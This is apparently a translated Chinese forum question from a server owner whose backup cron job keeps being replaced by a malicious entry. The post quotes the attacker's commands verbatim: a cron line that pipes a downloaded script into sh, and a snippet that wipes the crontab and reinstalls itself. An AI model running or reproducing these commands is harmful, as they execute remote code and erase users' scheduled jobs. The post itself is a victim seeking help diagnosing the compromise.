我曾经有一个cron作业来运行数据库的每日备份:
00 3 * * * ~/bin/dbbackup.sh
2天前检查时,它丢失了,并添加了新的cron作业(url):
*/60 * * * * curl https://<SOME_URL_POINTING _TO_SH_FILE> | sh
所以我刚刚删除了cron作业(url)并替换为我认为有人可能不小心删除了它或正在测试某些东西。但是第二天我的cron工作丢失了,而cron工作(url)又回来了。每次我在第二天将其更改回来时,它都会继续恢复到cron作业(url)。
当我检查sh文件的url(https://)链接时。文件末尾有这段代码:
crontab -r
(crontab -l;printf '*/60 * * * * curl https://<SOME_URL_POINTING _TO_SH_FILE> | sh \n')|crontab -
似乎cron作业(url)正在删除所有内容并将其替换为此但我不明白的是我已经删除了我的crontab中的cron作业(url)-e所以为什么它仍然可以运行? / p>